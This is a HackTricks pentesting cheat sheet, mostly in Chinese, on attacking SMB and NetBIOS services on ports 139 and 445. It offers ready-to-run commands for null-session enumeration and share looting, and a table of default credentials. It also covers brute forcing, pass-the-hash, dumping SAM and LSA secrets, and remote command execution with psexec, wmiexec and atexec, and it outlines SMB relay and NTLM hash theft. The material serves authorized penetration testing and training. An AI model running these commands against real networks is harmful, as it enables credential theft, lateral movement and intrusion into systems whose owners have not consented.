139,445 - Pentesting SMB
Reading time: 26 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
端口 139
The 网络基础输入输出系统** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、PC 和桌面能够与网络硬件交互,并 促进网络上的数据传输。在 NetBIOS 网络上运行的软件应用的识别和定位是通过其 NetBIOS 名称实现的,NetBIOS 名称最多可包含 16 个字符,且通常不同于计算机名。当一个应用(充当客户端)通过 TCP Port 139 向另一个应用(充当服务器)发出“call”命令时,就会启动两个应用之间的 NetBIOS 会话。
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
Port 445
从技术上讲,Port 139 被称为 ‘NBT over IP’,而 Port 445 则被标识为 ‘SMB over IP’。缩写 SMB 代表 ‘Server Message Blocks’,也被现代称为 Common Internet File System (CIFS)。作为一种应用层网络协议,SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种通信。
例如,在 Windows 的上下文中,强调 SMB 可以直接运行在 TCP/IP 之上,通过使用 port 445,从而无需 NetBIOS over TCP/IP。相反,在其他系统上,观察到使用 port 139,这表明 SMB 是与 NetBIOS over TCP/IP 一起运行的。
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
Server Message Block (SMB) 协议采用 client-server 模型,旨在管理对 access to files、目录及打印机、路由器等其他网络资源的访问。SMB 主要用于 Windows 操作系统系列,并保持向后兼容,使新版 Microsoft 操作系统的设备能够与运行旧版系统的设备无缝互通。此外,Samba 项目提供了一个自由软件实现,使在 Linux 和 Unix 系统上也能实现 SMB,从而促进跨平台的 SMB 通信。
Shares,代表本地文件系统的arbitrary parts of the local file system,可以由 SMB 服务器提供,使客户端看到的层次结构在某种程度上independent于服务器的实际结构。用于定义access rights的 访问控制列表 (ACLs) 允许对用户权限进行fine-grained control,包括像 execute
、read
和 full access
这样的属性。基于这些 shares,可将权限分配给单个用户或用户组,这些权限与服务器上设置的本地权限是不同的。
IPC$ 共享
可以通过匿名 null session 访问 IPC$ 共享,从而与通过 named pipes 暴露的服务交互。工具 enum4linux
在这方面很有用。正确使用它可以获取:
- 操作系统信息
- 父域的详细信息
- 本地用户和组的列表
- 关于可用 SMB 共享的信息
- 系统的有效安全策略
此功能对于网络管理员和安全专业人员评估网络上 SMB (Server Message Block) 服务的安全态势至关重要。enum4linux
提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞并确保 SMB 服务得到适当保护是必要的。
enum4linux -a target_ip
上面的命令是一个示例,说明如何使用 enum4linux
对由 target_ip
指定的目标进行完整枚举。
什么是 NTLM
如果你不知道什么是 NTLM,或想了解它的工作原理及滥用方式,你会发现这篇关于 NTLM 的页面非常有趣,其中解释了 该协议如何工作以及如何利用它:
服务器枚举
扫描 网络以搜索主机:
nbtscan -r 192.168.0.1/24
SMB 服务器版本
要查找针对 SMB 版本的潜在 exploits,首先需要知道正在使用的版本。如果其他工具没有显示此信息,你可以:
- 使用 MSF auxiliary module
**auxiliary/scanner/smb/smb_version**
- 或者这个脚本:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
搜索 exploit
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
可能的 凭据
用户名 | 常见密码 |
---|---|
(空) | (空) |
guest | (空) |
Administrator, admin | (空), password, administrator, admin |
arcserve | arcserve, backup |
tivoli, tmersrvd | tivoli, tmersrvd, admin |
backupexec, backup | backupexec, backup, arcada |
test, lab, demo | password, test, lab, demo |
Brute Force
SMB 环境信息
获取信息
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
枚举用户、组和已登录用户
这些信息应该已经由 enum4linux 和 enum4linux-ng 收集
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
枚举本地用户
lookupsid.py -no-pass hostname.local
单行命令
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
Metasploit - 枚举本地用户
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
枚举 LSARPC 和 SAMR rpcclient
GUI connection from linux
在终端:
xdg-open smb://cascade.htb/
在文件浏览器窗口(nautilus, thunar, etc)
smb://friendzone.htb/general/
共享文件夹枚举
列出共享文件夹
建议始终检查是否能访问任何资源,如果没有凭据,请尝试使用 null credentials/guest user。
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
连接/列出 共享文件夹
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
手动枚举 Windows 共享并连接到它们
主机可能被限制显示任何共享,当你尝试列出它们时看起来似乎没有可连接的共享。因此值得尝试短暂地手动连接到某个共享。要手动枚举共享,你可能需要在使用有效会话(例如 null session 或有效凭证)时查找类似 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 的响应。这些响应可能表明该共享存在但你无权访问,或该共享根本不存在。
Windows 目标常见的共享名称有
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(常见共享名称摘自 Network Security Assessment 3rd edition)
你可以使用以下命令尝试连接它们
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
或此脚本(使用 null session)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
示例
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
从 Windows 枚举共享 / 无需第三方工具
PowerShell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
CMD 控制台
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
MMC 插件 (图形化)
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
在 explorer.exe(图形界面)中,输入 \\<ip>\
查看可用的非隐藏共享。
挂载共享文件夹
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
下载文件
阅读前面的章节以了解如何使用 credentials/Pass-the-Hash 进行连接。
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
命令:
- mask: 指定用于过滤目录中文件的掩码 (例如 "" 表示所有文件)
- recurse: 切换是否递归 (默认: off)
- prompt: 切换是否关闭文件名提示 (默认: on)
- mget: 将所有匹配掩码的文件从主机复制到客户端机器
(信息来自 smbclient 的手册页)
域共享文件夹搜索
Snaffler.exe -s -d domain.local -o snaffler.log -v data
- CrackMapExec spider.
-M spider_plus [--share <share_name>]
--pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
从共享中特别值得关注的是名为 Registry.xml
的文件,因为它们可能包含密码,这些密码属于通过 autologon 使用组策略配置的用户。或者 web.config
文件,因为它们包含凭据。
tip
SYSVOL share 对域内所有经过身份验证的用户是可读取的。在那里你可能会发现许多不同的 batch、VBScript 和 PowerShell 脚本。
你应该检查其中的脚本,因为你可能会发现敏感信息,例如密码。
读取注册表
你可能能够使用一些发现的凭据读取注册表。Impacket reg.py
允许你尝试:
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
后渗透
Samba 服务器的默认配置通常位于 /etc/samba/smb.conf
,可能包含一些危险配置:
设置 | 描述 |
---|---|
browseable = yes | 允许列出可用的共享? |
read only = no | 禁止创建和修改文件? |
writable = yes | 允许用户创建和修改文件? |
guest ok = yes | 允许在不使用密码的情况下连接服务? |
enable privileges = yes | 尊重分配给特定 SID 的权限? |
create mask = 0777 | 新创建的文件必须被赋予哪些权限? |
directory mask = 0777 | 新创建的目录必须被赋予哪些权限? |
logon script = script.sh | 用户登录时需要执行哪个脚本? |
magic script = script.sh | 在脚本关闭时应执行哪个脚本? |
magic output = script.out | magic script 的输出应存储在哪里? |
smbstatus
命令提供关于 服务器 以及 谁已连接 的信息。
使用 Kerberos 进行认证
你可以使用工具 smbclient 和 rpcclient 对 Kerberos 进行 认证:
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
在仅使用 Kerberos 的环境(NTLM 被禁用)中,对 SMB 的 NTLM 尝试可能会返回 STATUS_NOT_SUPPORTED
。修复常见的 Kerberos 问题并强制 Kerberos 认证:
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
有关完整的客户端设置(krb5.conf 生成、kinit、SSH GSSAPI/SPN 注意事项),请参阅:
88tcp/udp - Pentesting Kerberos
执行命令
crackmapexec
crackmapexec 可以通过 利用 任何 mmcexec, smbexec, atexec, wmiexec 来执行命令,其中 wmiexec 是 默认 方法。你可以使用参数 --exec-method
指定要使用的选项:
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec/smbexec
两种选项都会在受害者机器上创建一个新服务(通过 SMB 使用 \pipe\svcctl)并用它来执行某些内容(psexec 会将一个可执行文件上传到 ADMIN$ 共享,而 smbexec 会指向 cmd.exe/powershell.exe 并在参数中放入负载 --file-less technique--)。
更多信息 关于 psexec 和 smbexec.
在 kali 它位于 /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
使用 参数-k
可以通过 kerberos 进行认证,而不是 NTLM
wmiexec/dcomexec
通过 DCOM(使用 port 135.)悄无声息地执行命令 shell,而无需触及磁盘或启动新的服务。
在 kali 它位于 /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
使用 参数-k
可以使用 kerberos 进行身份验证,而不是 NTLM。
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
AtExec
通过 Task Scheduler 执行命令(使用 \pipe\atsvc 通过 SMB)。
在 kali 上位于 /usr/share/doc/python3-impacket/examples/
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
Impacket 参考
https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/
ksmbd 攻击面 和 SMB2/SMB3 协议 fuzzing (syzkaller)
Ksmbd Attack Surface And Fuzzing Syzkaller
Bruteforce 用户凭证
不推荐这样做,若超过允许的最大尝试次数可能会锁定账户
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMB relay attack
此攻击使用 Responder toolkit 在内网中捕获 SMB 认证会话,并将其中继到目标机器。如果认证会话成功,它会自动让你进入系统 shell。
关于此攻击的更多信息。
SMB-Trap
当页面尝试通过 SMB 访问某些内容时,Windows 库 URLMon.dll 会自动尝试对主机进行认证,例如: img src="\\10.10.10.10\path\image.jpg"
This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
这些函数被一些浏览器和工具(如 Skype)使用。
SMBTrap using MitMf
NTLM Theft
类似于 SMB Trapping,通过在目标系统上放置恶意文件(例如通过 SMB)可以引发 SMB 认证尝试,从而使用如 Responder 这样的工具拦截 NetNTLMv2 hash。该 hash 随后可以离线破解或用于 SMB relay attack。
HackTricks 自动命令
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
参考资料
- NetExec (CME) wiki – Kerberos usage
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。